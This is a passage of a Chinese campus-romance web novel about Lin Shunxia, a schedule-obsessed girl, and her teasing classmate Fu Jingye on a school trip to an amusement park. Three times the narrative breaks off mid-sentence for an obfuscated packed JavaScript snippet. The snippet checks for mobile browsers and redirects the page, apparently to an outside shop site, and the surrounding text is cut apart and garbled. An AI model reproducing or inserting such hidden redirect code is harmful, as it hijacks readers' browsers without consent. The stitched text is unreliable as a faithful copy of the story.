男生的头发很黑,瞳孔也是黑的,正居高临下地盯着她,手里还捏着她刚刚掉在地上的、粉红色的水杯。 水杯已经脏了,盖子上沾了灰,蹭脏了他的指腹。 但他好像不在意,只是用那种看笨蛋一样的眼神看着林瞬夏,语气很冷,又带着一点莫名其妙的凶: “你是傻子吗?” “杯子掉了都不捡?站在原地发什么呆?” 4. 坏蛋逗笨蛋 林瞬夏想要喝水,没有说话,踮起脚尖,伸手去够自己的杯子。 男生的反应很快,手臂只是随意地往上一抬,粉色的水杯就到了半空中。 一个林瞬夏绝对无法触及的高度。 林瞬夏仰着头,计算了一下距离,然后不屈不挠地屈膝,笨拙地向上跳了几下。 男生脸上的表情渐渐地没那么凶了,可能是因为林瞬夏不太协调的跳跃动作,还弯起唇角笑了笑。 指尖刚要碰到杯底,男生忽然叹了口气。 他没有把水杯还给林瞬夏,反倒伸出另一只手的食指,抵住了林瞬夏的额头。 没有用很大的力气,懒洋洋的,却轻易地把她按回了地面,像按住一只试图翻墙的短腿猫。 “省省吧,”男生垂着眼皮看她,嘴角扯出一个很淡的、恶劣的弧度,“林瞬夏,你只有一米六。” 林瞬夏被迫仰着头,额头上传来对方指尖的温度。 她动不了,只能眨了眨眼,视线被迫从水杯移到了男生的脸上。 对方并没有把手收回去。 他像是觉得手感不错,指腹在她光洁的额头上点了点,语气虽然还是那副没睡醒似的散漫,眼神却往下沉了沉: “刚才在那发什么呆?谁欺负你了?” 林瞬夏感觉额头被戳得有点痒。 她想要摇头,但是被按住了。 于是她只能垂下眼睛,盯着男生运动服领口银色的拉链头,很老实地回答: “没有。我想喝水。” 林瞬夏真的很需要喝水,她把视线移到对方的眉心(因为老师说看这里会让人显得比较真诚),说:“可不可以把水杯还给我。” 为了打动这个看起来不太好说话的男生,她还说了“谢谢”。 男生垂着头,唇角的弧度淡了一些。 他盯着林瞬夏的脸,看了一会儿,深黑色的眼睛里露出了一点怀疑的情绪: “林瞬夏,你认不认识我?” 林瞬夏闻言,非常仔细地看了过去。 这似乎是她第一次在这么近的距离,观察这个男生的脸。 他的眉骨很高,眼窝深陷,鼻梁的线条笔直且锋利,像美术教室里最标准的石膏像。 但是肤色不是石膏死板的灰白色,而是带着少年人特有的温度的健康肤色。 确实很好看。 符合黄金分割比例,左右脸也完全对称。 林瞬夏在脑海的人脸数据库里比对了两秒钟,找到了对应的词条。 “认识。”她点点头,给出了肯定的答复,“你是傅竞野。” 傅竞野。 在林瞬夏的世界观里,这是一个被归类为绝对无关人员的名字。 他和林瞬夏完全是两个世界的人。 他是曼海市很有名的万壑集团背后的傅家的独生子,从出生开始就住在那座位于半山腰的、林瞬夏只在本地新闻里见过的白色房子里。 无论走到哪里,他的身边总是环绕着很多人。有一起打球的男生,有想要和他说话的女生,还有总是对他露出讨好笑容的老师。 林瞬夏其实有时候很羡慕他。 并不是羡慕他有钱,或者羡慕他受欢迎。 而是羡慕他拥有制造真空的能力。 林瞬夏观察过,即使是在做操集队这样拥挤的场合,傅竞野的周围也永远有一圈看不见的、半径约为五十厘米的真空带。 没有人敢真的挤到他身上,大家都会下意识地避开他,给他留出充足的氧气和空间。 就像摩西分海一样。 如果能像他一样,就不会被挤掉水杯,也不会闻到别人身上的汗味了。 林瞬夏看着傅竞野,在心里默默地想。 这个回答并没有为林瞬夏换回水杯。 相反,傅竞野看起来又有点不爽。 “林瞬夏,”他把那个粉红色的水杯在手里转了一圈,语气里带着几分质问,“我们在同一个班待了快三年,坐在同一个教室里这么久。” 他往前走了一步,阴影彻底盖住林瞬夏,距离压缩到三十厘米,身上的香味更清晰了。 “你居然要对着我的脸看十秒钟,才能叫出我的名字?” 林瞬夏有点不明白,人脸是比函数图像难记得多的东西。 函数有固定的斜率和截距,但人脸每天都会因为表情、光线甚至发型的变化而发生变化。 她能认出傅竞野,纯粹是因为他长得很标准。 不过她观察了傅竞野的表情,发现对方在不高兴,只能努力解释,说:“没有,别人我也不认识的。” 傅竞野愣了一下,被一脸认真的林瞬夏气笑了,嘴角的弧度又挂了回去。 他垂眼看着面前这个只到他下巴的小矮子,觉得她这副呆头呆脑的样子,像个进了游乐园却找不到北的笨企鹅。 “林瞬夏,你是不是笨蛋?” 他伸出那根刚才按过她额头的手指,又在她并没有装多少人的脑门上弹了一下,语气懒洋洋的,带着明显的戏弄: “人都认不全,出来春游不怕走丢?” 林瞬夏捂住额头,不想回答这种带有攻击性的修辞疑问句。 她盯着他手里的杯子,伸出手:“我的水杯。” 傅竞野却把手背到了身后。 “不给。” 他看着林瞬夏瞬间睁大的眼睛,恶劣地宣布了他的新规则: “因为你刚才没认出我,我很受伤。所以我不想把杯子还给你了。” “可是我现在认出来了啊。” 林瞬夏有点着急了,她往前迈了一小步,试图绕到他身后去拿,但被傅竞野侧身躲开了。 “而且,”林瞬夏站在原地,脸颊因为着急而微微泛红,很认真地跟他讲道理,“而且是你帮我把手机关掉的,你也帮我挡住了人。” “我已经说过谢谢了。” “按照礼貌守则,如果你接受了道谢,我们就达成了和解,你应该把我的私人物品归还给我。” “那是你的规则,”傅竞野弯下腰,那双很好看的眼睛近距离地盯着林瞬夏,无赖地说,“林瞬夏,我的规则不是这样的。” 他晃了晃粉红色的水杯,看着林瞬夏随着水杯移动的眼珠,漫不经心地补充: “在我的规则里,把我忘了的人,说一句谢谢是不够的。” 林瞬夏感觉到了危险。 她往后缩了缩脖子,有些警惕地问:“那要怎么样?” 傅竞野并没有立刻回答。 他看着面前这张有点呆的、只有在想要回东西时才会变得生动的脸,突然觉得刚才那个无聊的过山车也没那么无聊了。 “陪我。”他说。 林瞬夏愣了一下:“什么?” “我是一个人来的,现在很无聊,”傅竞野站直了身体,用那种理所当然的命令语气说,“你陪我玩一个项目,我就把杯子还给你。” “不要,”林瞬夏立刻拒绝,并拿出了她的杀手锏,“我有计划表的。” “哦,”傅竞野无所谓地点点头,把粉红色的水杯塞进了自己黑色的运动裤口袋里。 那里鼓起了非常突兀、有点滑稽的一大块。 但他看起来一点也不觉得丢人,反而还伸手拍了拍那个鼓包,像是在拍什么战利品,漫不经心地说: “那你的计划里现在肯定没有喝水这一项了。” “......” 林瞬夏开始飞速地思考应该怎么办。 如果没有水杯,她会在接下来的三个小时内因为脱水而导致体能下降。如果现在离开去买水,会破坏“游玩过山车”的时间节点。 两个结果都是不可以接受的。 林瞬夏想把濒临脱轨的计划拉回来一点,尝试提出建议:“那我可以陪你玩这个银河超特急过山车。” 傅竞野挑了挑眉,说:“你不就想玩这个。” “这样,不就成我陪你玩了?” 林瞬夏很认真地解释说:“陪是相互的。” 傅竞野又被她逗笑了,宽宏大量地说:“好吧,那我先陪你玩这个过山车。” “林瞬夏,你说你有计划,你的计划是什么?” 林瞬夏看着傅竞野鼓囊囊的口袋,哪怕隔着布料,她也能感觉到那个粉色水杯的轮廓。 那是她的生命之源。 为了拿回它,林瞬夏不得不在这个不在计划内的阴影里,向这个不在计划内的人,展示了她那份完美的时间表。 她解锁手机,点开备忘录,把屏幕举到了傅竞野面前。 屏幕亮度调得很低(为了省电),字体是毫无装饰的系统默认黑体。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17496434|202526||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> [10:15-11:00 银河超特急(排队预估45min) 11:00-11:20 步行至恐怖古堡(全室内,恒温22度,适合平复心率) 11:20-11:50 恐怖古堡游览 12:00-12:30 午餐(自备三明治,地点:古堡后方长椅,背阴处) 12:30-13:00 激流勇进(需购买雨衣) 13:00-13:40 高空飞翔(体验离心力与高空风速,以此吹干刚才弄湿的头发) 13:40-14:00 能量补充(购买高空飞翔旁餐车的金枪鱼煎饼) 14:00-15:00 摩天轮(最高点可俯瞰园区全貌,需乘坐两圈,时长共36分钟) 15:00-15:30 纪念品商店(购买印有园区Logo的金属徽章一枚,用于收藏) 15:30-16:00 步行至大巴停车场(预留30分钟以应对突发拥堵) 16:00 准时返程] 傅竞野垂着眼,视线在密密麻麻的屏幕上扫了一遍。 看完后,他并没有露出林瞬夏担心的那种“你怎么这么怪”的表情。 相反,他似乎觉得很有趣,还点了点头,给出了一个还算中肯的评价: “安排得挺紧凑。” “是的。”林瞬夏收回手机,严谨地补充,“这是经过计算的最优路径,没有回头路。” “行。” 傅竞野站直了身子,压迫感又回来了。 他理了理袖口,用随意的语气说: “那就这么办吧。” “今天剩下的时间,我跟着你玩。” 林瞬夏愣住了,她的大脑里瞬间警铃大作。 “不行。”她立刻拒绝。 “为什么?”傅竞野看着她,好像真的不明白,“我又不插队,也不抢你的三明治。” “因为我的计划是单人模式。” 林瞬夏皱着眉,很费力地向这个试图入侵她系统的变量解释: “多一个人,变量就会增加。” “两个人的步行速度是不一样的,如果你走得慢,或者你要上厕所,或者你想吃爆米花,都会导致时间延后。” “而且,”林瞬夏看着他,“我们不熟。和你一起玩,我需要进行社交,这会消耗我的额外精力。” 哪怕是有降噪耳机和墨镜,在这个充满了尖叫声的游乐园里维持正常运转,已经占用了林瞬夏的大部分精力。 她没有余力再去应付一个虽然长得好看、但现在看来性格很恶劣的傅竞野了。 傅竞野听着她这一连串拒绝的理由。 不但没生气,反而还要笑不笑地哼了一声。 “林瞬夏,你想得挺多。” 他往前走了一步,逼得林瞬夏不得不后退,背靠在了粗糙的树干上。 “但我不想制定计划,我也懒得看地图。” 傅竞野单手插在装着水杯的口袋里,微微弯腰,带着薄荷味的、干燥的气息又笼罩了下来。 “所以,我有两个方案给你选。” 他竖起两根手指,慢条斯理地说: “方案A:我跟着你,我不上厕所,不吃爆米花,走路比你快。不仅如此,我还能帮你挡着人,就像刚才那样。” “方案B:我现在就走。带着你的水杯一起走。” 傅竞野看着林瞬夏瞬间变得纠结的脸,恶劣地补充道: “这个游乐园这么大,我要是走了,你就算把地图背下来,也找不到我。” “那样的话,你的计划就彻底报废了。” 林瞬夏靠在树干上,认真地权衡了社交消耗和脱水风险。 三十秒后。 她不情不愿地抬起头,看着傅竞野,做出了妥协。 “那你要走快一点。” 林瞬夏看着他说:“还有,在恐怖古堡里,你不可以尖叫。” 傅竞野挑了挑眉,似乎觉得被一个一米六的小矮子质疑胆量是一件很好笑的事。 “行。” 他伸出手,这一次没有按她的额头,而是把温热的掌心扣在了她的后脑勺上,稍微用了点力,把这只还在发愣的笨企鹅调了个头,推向了前方。 “带路吧,林导游。” 5. 坏蛋也害羞 林瞬夏被傅竞野推着,觉得自己像一辆超市购物车,被一直推到了过山车队伍的末尾。 电子屏显示,目前的排队等待时间为三十五分钟。 人群拥挤地推搡着,傅竞野履行了自己的承诺,撑着栏杆,把林瞬夏护在自己身前的一小块阴影里,确保小矮子笨企鹅不会被人群挤到。 林瞬夏躲在傅竞野制造的真空带里,觉得很凉快,也很香,舒服了很多。 为了不浪费这三十五分钟的空白,她拉开书包拉链,拿出了她的《高中语文通用情感模版大全》。 林瞬夏的理科成绩非常稳定,议论文的逻辑性也不算差,但语文阅读理解总是会让她感到困惑。 因为她无法通过文字共情作者的意图。 所以她需要背诵。 她翻开“写景-悲伤”这一章,盯着上面的字,用一种毫无起伏的、类似于播报天气预报的语调,开始低声诵读: “秋风萧瑟,落叶归根,我的心也像这枯黄的叶子一样,碎了一地......” 傅竞野撑着栏杆,垂眼看着被他圈在怀里的这颗脑袋。 视线里,她半低着头,几缕碎发顺着耳廓滑落下来,晃悠悠地悬在脸侧。 从这个角度,只能看见她挺秀精致的鼻尖,还有垂下的眼睫。 林瞬夏读得很专注,神情板正得像是在做什么学术报告,只有两片淡粉色的薄唇在一张一合,嘴角偶尔会因为发音的需要微微绷紧,软肉跟着轻颤。 听了一会儿她不分场合、也不分重音的诵读,他实在没忍住,有些好笑地伸出手,直接盖在了那页写满了矫情句子的书页上。 读书声戛然而止。 林瞬夏抬起头,眼神迷茫地看着他。 “别念了,”傅竞野盯着她的眼睛,语气里带着几分嫌弃,“林瞬夏,不知道的还以为你在给我念超度经文。” 他手指点了点被他盖住的书页: “收起来。再念,还没坐上过山车,我就先被你送走了。” 林瞬夏皱起眉,视线被对方的大手挡得严严实实。 她并不觉得这有什么好笑的,也不觉得自己像在超度。 这是一项严肃的学术任务。 “请你把手拿开,”林瞬夏伸出手,试图去抠傅竞野的手指,很严肃地警告他,“不要打扰我的进度。还有二十分钟才排到,我原本计划背完借景抒情这一章的。” 傅竞野的手指纹丝不动,像焊在书页上一样。 林瞬夏推不动,决定无视这个障碍,凭借记忆强行背诵下一段: “雨水打湿了窗棂,我的思念......” “啪”的一声。 还没等她念完,傅竞野的手抓住书脊,一捏,非常干脆地把厚厚的模版大全合上了。 为了防止林瞬夏再次打开,他还把手掌覆盖在封面上,修长的手指扣住了书的封口,给这本书上了一道不可撼动的物理锁。 林瞬夏愣了一下。 她两只手用力地去掰书的封面,试图把书从他的魔爪下解救出来。 但是掰不开。 力量悬殊过大,书在他手里就像一块被焊死的铁板。 林瞬夏有些生气了。 她抬起头,用她黑白分明的眼睛瞪着傅竞野,嘴唇抿成一条直线,看起来很凶狠,像只被抢了松果后准备咬人的松鼠。 傅竞野却好像发现什么新大陆一样。 那双总是耷拉着的眼皮稍微抬起了一些,很有兴致地看着她手里被他强制封印的书,又看看气鼓鼓的林瞬夏。 “林瞬夏,”他问,语气里带着真诚的不可思议,“你平时就是这么学语文的?” “靠背这种东西?” 他的语气里并没有太多的嘲笑,更多的是纯粹的、看到某种稀奇生物的好奇。 但林瞬夏手上的动作停住了。 她不再试图去掰开那本书,手指蜷缩了一下,慢慢地垂了下去。 因为语文老师也说过类似的话。 “瞬夏,不要总是套用模版,要有感情。” “你这样是很奇怪的。” 林瞬夏知道自己很奇怪。 她不知道怎么表达情感,只能靠这些笨拙的模版来伪装成一个能够理解悲伤、能够书写感动的正常人。 现在被傅竞野这样直白地指出来,林瞬夏不高兴了。 她紧紧地抓着自己的书的一角,不再看傅竞野,也不再说话,把脸转到了另一边,盯着排队栏杆上一块脱落的灰色油漆,一声不吭。 傅竞野看出了林瞬夏不高兴。 他原本只是觉得逗她好玩,没想到这只企鹅的气性这么大,说不理人就不理人,连那种因为想要回东西而产生的生动表情都消失了。 傅竞野“啧”了一声。 他伸出一根手指,隔着外套的布料,戳了戳林瞬夏的手臂。 肌肉是僵硬的,还在生气。 “喂,林瞬夏,”他弯下腰,歪着头非要闯进她的视野里,有些莫名其妙又觉得好笑地问,“怎么突然生气了?” 林瞬夏不看他,盯着那块油漆。 “我又没笑你。”傅竞野为自己辩解。 虽然他的语气听起来完全没有悔改的意思。 林瞬夏还是不动,长长的睫毛垂下来,在眼睑下方投出一小片扇形的阴影,还在随着呼吸微微颤动。 傅竞野盯着那片阴影看了一会儿。 这么近的距离,他发现林瞬夏的皮肤很白,脸上没有什么瑕疵,抿着嘴不说话的样子,看起来真的很乖,像那种会被老师贴在光荣榜上的标准高中生。 不过性格直白得有点过分。 高兴了就给看计划表,不高兴了就立刻闭嘴,像个没什么心眼的小孩子,情绪全写在脸上,一点准成年人该有的伪装都没有。 真实得让人甚至有点嫉妒。 傅竞野看着她,那种想要继续欺负她的恶劣心思,莫名其妙地就消散了。 他拿她没什么办法,只能说:“行了。” 一直压在书封上的手松开了劲,傅竞野把手收了回来,插回口袋里,站直了身体。 他叹了口气,语气恢复了那种懒洋洋的调子,还带着点让步后的无奈,宣布解除封印: “好了好了,别生气了。你继续念吧。我不说了还不行吗?” 林瞬夏看了看他,重新低下了头,翻开被捏出褶皱的书页,找到了刚才断掉的那一行。 “......我的思念,就像这窗外的雨,连绵不绝。” 傅竞野站在她旁边,这一次真的没有再说话。 他只是侧过身,用背部挡住了后面试图挤上来的人群,替她撑起那片只有二十四度的、带着薄荷 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17496435|202526||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 味的阴凉空间,耐心地听完了整整二十分钟的“借景抒情”。 二十分钟后,队伍挪动到了存包处。 林瞬夏合上书,塞进书包里,拉好拉链。 “念完了。”她抬起头,通知傅竞野。 林瞬夏已经忘记了自己刚才在生气,表情变得平静,转头看向不远处的过山车时,显得有些期待。 傅竞野看着她这副翻脸比翻书还快的样子,有些气结,又觉得好笑。 他把粉色水杯从口袋里掏出来,连同林瞬夏的书包一起,塞进了寄存柜里。 但在关上柜门之前,他拧开了水杯的盖子。 “先喝一口。” 傅竞野把水杯递到她面前,语气不怎么好,动作却不算粗鲁:“不然一会儿叫得嗓子哑了,还要赖我没给你水喝。” 林瞬夏没有反驳“我不会尖叫”这件事。 因为她确实已经处于轻度脱水的边缘。 她非常自然地向前探了探身子,低下头,凑近了傅竞野的手,微微张开嘴,想要就着他拿着水杯的姿势,直接喝水。 在那一瞬间,傅竞野整个人都僵住了。 距离拉近得太快了。 女生的脸突然在他眼前放大,睫毛很长,垂着眼帘,嘴唇因为缺水而显得有点红,毫无防备地凑向他的虎口。 呼吸温热,快要喷洒在他的手指上。 这也太近了。 一点男女大防都没有。 傅竞野的大脑空白了一秒,手指像是被什么东西烫到了一样,还没等林瞬夏碰到杯沿,就猛地把手缩了回去。 动作幅度很大,瓶子里的水都晃荡了一声。 林瞬夏喝了个空。 她停在半空中,有些茫然地抬起头,黑白分明的眼睛看着傅竞野,眼神里全是困惑,不明白为什么水源突然撤离了。 “水。”她提醒傅竞野。 傅竞野站在那里,喉结上下滚动了一下。 他别过头,避开了林瞬夏那双直勾勾的眼睛,抓着水杯的手指收紧了一些。 “你是没长手吗?” 再开口时,他的声音压得很低,听起来粗声粗气的,像是为了掩饰某种并不想被发现的慌乱和羞恼: “自己拿着喝。” 说完,他把水杯重新塞进了林瞬夏的手里,动作甚至显得有些急促。 林瞬夏捧着水杯,觉得傅竞野真是喜怒无常。 刚才还好好的,突然又变得这么凶。 不过她现在急需水分,不想和他争辩关于“有没有长手”这种显而易见的事实。 “哦。” 林瞬夏应了一声,不想理他了。 她两只手捧着粉色的水杯,仰起头,咕咚咕咚地喝了两大口。 喝完之后,林瞬夏还没来得及拧盖子,手里的水杯就被傅竞野一把拿了回去。 他的视线在那依然带着水光的瓶口上停留了一秒钟,然后像是被什么东西蛰了一下似的,迅速地移开了。 他看都没看她,动作粗鲁地拧紧瓶盖,把水杯扔进了寄存柜的深处,然后“砰”的一声关上了柜门。 力道有点大,震得柜子都响了一下。 做完这一切,傅竞野依然没有转过身来看她,只是背对着她,看着前面排队的人群,耳根有一点点可疑的红。 “走了。”他说。 6. 笨蛋来牵手 过山车是悬吊式的,全长1200米。 在重力势能转化为动能的过程中,林瞬夏很认真地感受了离心力和失重感。 当然没有尖叫。 傅竞野也没有尖叫,这让林瞬夏觉得放心了很多。 她不喜欢尖叫声,这属于高频噪音,会让耳膜产生不适的震动。 从出口走出来时,傅竞野理了理被风吹乱的头发,侧过头看她。 林瞬夏的脸色因为刚才的失重而有些红,不过表情依然是平静的。 “吓傻了?”傅竞野已经不再别扭,看着林瞬夏,挑了挑眉,语气里带着点嘲笑的意思,“一声都不吭,我还以为你晕过去了。” 林瞬夏看了他一眼,觉得他问的问题很愚蠢。 “我不害怕。”她陈述事实,“而且尖叫会消耗额外的氧气,没有任何物理意义。” 傅竞野被噎了一下,“啧”了一声,没再说话。 按照计划表,下一站是恐怖古堡。 这是林瞬夏最喜欢的项目之一。 不是因为恐怖,而是因为古堡内部常年保持着22摄氏度的恒温,且为了营造氛围,光线极暗,游客很少,是一个完美的避暑与休息场所。 走进古堡,原本嘈杂、炎热的世界瞬间消失了。 周围变得很黑,只有墙壁上几盏幽绿色的长明灯发出微弱的光。 空气里弥漫着一股干冰和陈旧布料混合的味道。 林瞬夏觉得很舒服,走路的步频都变慢了。 但傅竞野似乎误解了这种慢。 在经过一段狭窄的、漆黑的走廊时,地板突然震动了一下。 紧接着,右侧的墙壁毫无预兆地裂开,“砰”的一声,一具缠满绷带的木乃伊弹了出来,伴随着凄厉的惨叫声效。 这是一种低级的吓人手段。 林瞬夏停下脚步,刚想观察一下那个木乃伊弹射装置的弹簧结构。 一只手突然伸了过来,一把抓住了她的手臂。 傅竞野的手掌很大,很有力,掌心的温度很高,透过外套的布料,烫得林瞬夏缩了一下。 “别看。” 傅竞野的声音在黑暗里响起来,比平时要低沉一些,他的手隔着衣袖,紧紧地扣着她的小臂,像是在牵着一个可能会乱跑、或者会被吓哭的小孩。 他把林瞬夏往自己身后带了带,挡在了她和还在晃动的木乃伊中间。 “怕就捂着眼睛。跟着我走。我带你出去。” 林瞬夏被他抓着,有些莫名其妙地眨了眨眼。 她并不想捂眼睛。 不仅不想捂,她甚至还想凑近一点看。 “我不怕。” 林瞬夏试图把手臂从他的手里抽出来,但是傅竞野抓得很紧,她失败了。 于是她只能站在傅竞野的身后,探出一个脑袋,指着那个还在“嗷嗷”乱叫的木乃伊,很客观、很冷静地对傅竞野进行科普: “你看,那个是假的。” “它的绷带是涤纶材质的,为了耐磨。而且它的左手臂关节处露出了液压杆,这说明它是由气动装置控制的。” 林瞬夏还在认真地分析:“刚才弹出来的初速度大概是2米每秒,根据动量守恒......” “......” 空气安静了两秒。 傅竞野回过头。 借着幽绿色的灯光,他看着林瞬夏毫无惧色、充满了求知欲的脸。 他抓着她手臂的手僵了一下,然后慢慢地、有些无语地松开了。 “林瞬夏。”傅竞野看着她,表情有些一言难尽,像是想骂人,又像是被打败了:“你真是个天才。” 他松开了紧紧扣着林瞬夏小臂的手。 就在林瞬夏以为自己恢复了自由,可以走近木乃伊去研究液压杆的时候。 那只手却转了个弯,搭在了她的肩膀上。 傅竞野绕到了她的身后。 他很高,一只手扶着她的肩,很有分量地压下来,像是一座大山毫无心理负担地压在了一颗小蘑菇上。 “既然你看得这么透彻,”傅竞野的声音懒洋洋地从头顶上方传来,带着气音,听起来完全不像是紧张的样子,但他说出来的话却很示弱,“那你走前面吧。” 林瞬夏被迫承受着他的重量,有些费劲地仰起头,想要看清他的表情。 但傅竞野把下巴压得很低,虚虚地悬在她的发顶上方,让她看不见。 “为什么?”林瞬夏问。 “因为我没学过动量守恒,”傅竞野理直气壮地说,“也不知道它是气动的还是电动的。” 他推了推林瞬夏的肩膀,催促她往前走,语气里带上了一点不要脸的坦然:“而且它叫得太大声了。” “我也觉得很吵,还有点害怕。” “林导游,”他在黑暗里勾起唇角,把全身的重量又往她身上卸了一点,“保护一下你的游客。” 林瞬夏没想到看起来身高一米八五以上的傅竞野胆子这么小,也在对方的语言中获得了一种前所未有的责任感。 “好的,”她调整了一下书包带子,很认真地承诺,“我会保护你的,你站在我身后就好。” 说完,她向后伸出手。 有些费力地够到了傅竞野垂在身侧的那只手,然后紧紧地、用力地握住了。 就像爸爸妈妈以前牵着她过马路一样。 “你跟紧我,”她叮嘱这个胆小的游客,“不要乱看,也不要松手。” 傅竞野整个人僵在了原地。 女生的手很小,掌心柔软细腻,毫无阻隔地贴上了他滚烫的掌心。 她握得很用力,指尖掐到了他的虎口,完全没有一点要松开的意思。 这太奇怪了。 对于傅竞野这个处于青春期、且深知男女社交界限的正常高中男生来说,这种牵手方式的亲密程度,仅次于拥抱和接吻。 通常只发生在情侣之间,或者暧昧对象之间。 他的喉结上下滚动了一下,下意识地想要把手抽回来。 “林瞬夏,”傅竞野的声音有点紧绷,不再是那种懒洋洋的调子,带上了一点警告的意味,“你知不知道你在干什么?” 林瞬夏回过头,奇怪地看了他一眼。 她的眼神清澈、坦荡,甚至带着一点“你怎么这么不懂事”的责备,完全没有傅竞野脑子里那些旖旎或羞涩的废料。 “这里很黑,地形复杂,”她理所当然地解释,握着他的手又紧了紧,像是在拽一个不听话的大型行李箱,“如果你因为害怕而乱跑,或者摔倒,会增加我的救援成本。” “这样比较安全,不会走丢。” 傅竞野:“......” 他看着林瞬夏那张写满了公事公办的脸,突然觉得自己刚才那一瞬间的心跳加速和种种联想,显得非常自作多情。 在这个呆蘑菇的世界里,他的手大概和那个粉色水杯的提手没有任何区别。 只要能拎着走就行。 “行,那你牵好了。”傅竞野放松了手指,任由林瞬夏牵住,带着点恶劣的报复心理,低声说:“要是把我弄丢了,我就赖上你。” 林瞬夏牵住了这个有点胆小的男生。 在此之后,她给傅竞野分析了每个机关可能的原理,希望他不要再害怕。 从恐怖古堡里走出来时,阳光重新洒了下来。 林瞬夏几乎是立刻就松开了傅竞野的手。 她走向了不远处的长椅,那是她计划表里的“午餐点”——古堡后方的背阴处,安静,没有人。 林瞬夏坐下来,打开了自己的背包,拿出了妈妈准备的三明治。 傅竞野看了看空荡荡的手心,又看了看那个无情的背影,挑了挑眉,转身去了不远处的快餐窗口。 五分钟后,他拿着一个双层牛肉汉堡回来了,坐在了林瞬夏身边。 傅竞野吃东西很快,几口就能解决一个汉堡。 林瞬夏吃得很慢。 她双手拿着三明治,每一口咬下去的角度和大小都惊人的一致,咀嚼的次数也差不多。 傅竞野撑着下巴,侧头看她吃东西。 吃完午饭后,他们去玩了剩下的项目。 激流勇进、高空飞翔、摩天轮。 傅竞野虽然嘴上说着“无聊”,但并没有再提出什么异议。 他一直走在林瞬夏的侧前方。 无论是在排队的栏杆里,还是在拥挤的园区主干道上,他都像是一堵移动的墙,帮林瞬夏挡住了所有可能发生的碰撞和挤压。 林瞬夏走在他的影子里。 她觉得自己就像是一颗生活在樟树荫里的小蘑菇。 变得很安全,也很阴凉。 15:08,他们准时到达了动线的倒数第二站——纪念品商店。 这家游乐园的主题IP是一只名叫“波波”的帝企鹅,设定是环游宇宙的宇航员。 商店里没有外面那么刺眼的阳光,冷气开得很足,到处都堆满了黑白配色的毛绒制品。 林瞬夏目标明确,径直走向徽章柜台,拿起了一枚印有园区Logo的金属徽章。 这是一枚锌合金材质的徽章, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17496436|202526||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 采用了烤漆工艺,表面光滑,不仅便于保存,而且具有明确的纪念意义。 她拿着徽章去结账。 傅竞野没有买徽章。 他单手插兜,在货架前漫无目的地转了一圈,最后停在了一个巨大的展示柜前。 这里堆满了帝企鹅的公仔。 他伸出手,从这堆毛茸茸的东西里,拎出了一只大概有四十厘米高的、穿着银色宇航服的帝企鹅。 企鹅的肚子很圆,填充物很足,两只短翅膀傻乎乎地张开,看起来重心很不稳,有点像某人刚刚在过山车下面试图跳起来拿水杯的样子。 傅竞野捏了捏企鹅的肚子,嘴角勾了一下,拿着它走向了收银台。 结完账,两个人走出了商店。 四月的风迎面吹来,带着一股春天特有的青草气息,还有漫天飞舞的柳絮。 白色的絮状物在空气中乱飘,像一场并不浪漫的雪,让人觉得鼻子发痒,呼吸道也不舒服。 林瞬夏皱起眉,立刻想要屏住呼吸。 傅竞野停下脚步,把刚刚买下的企鹅宇航员,不由分说地塞进了林瞬夏的怀里。 巨大的玩偶瞬间占据了林瞬夏怀里的所有空间,挡住了她的视线,顶到了她的下巴。 乱飞的柳絮也被挡在了企鹅圆滚滚的身体外面。 林瞬夏不得不抱住它,有些费劲地从企鹅脑袋后面探出头,茫然地看着傅竞野。 “给你了。”傅竞野说。 “为什么?”林瞬夏不解,“我的计划里没有这项支出。” “这是小费。” 傅竞野看着她抱着企鹅呆头呆脑的样子,忍住了想要伸手去帮她摘掉发梢上一朵柳絮的冲动,语气懒洋洋的,给出了一个林瞬夏很能接受的理由: “林导游服务不错,不仅提供了安保,还附赠了全程物理科普。” “我不喜欢欠人情。” 林瞬夏思考了一下。 根据社会交换理论,服务换取报酬是合理的。 而且这只企鹅的手感很好,表面的绒毛很细腻,抱在怀里有一种充实的、软绵绵的支撑感,还能充当一个巨大的空气过滤器。 于是她点了点头,收下了这个不在计划内的大型变量。 “谢谢。”她说。 “行了,回去吧。” 傅竞野没有说再见,也没有提以后。他看了看停在不远处的大巴车,又看了一眼林瞬夏被风吹得有些乱的头发。 “上车吧。” 说完,他转过身,在这个柳絮纷飞的、明亮得有些刺眼的春日午后,独自走向了另一个方向。 林瞬夏抱着企鹅,按照计划,准时登上了返程的大巴。 车厢里开着换气扇,但还是有一股混合着汗水和零食的味道。 如果是以前,林瞬夏会觉得很难受。 但今天,她怀里抱着一只巨大的帝企鹅。 企鹅身上沾染了傅竞野刚才拿在手里时留下的、那种很干净的洗衣液味道,还有一点点好闻的薄荷味。 林瞬夏坐在第一排,把脸埋进了企鹅软绵绵的肚皮里。 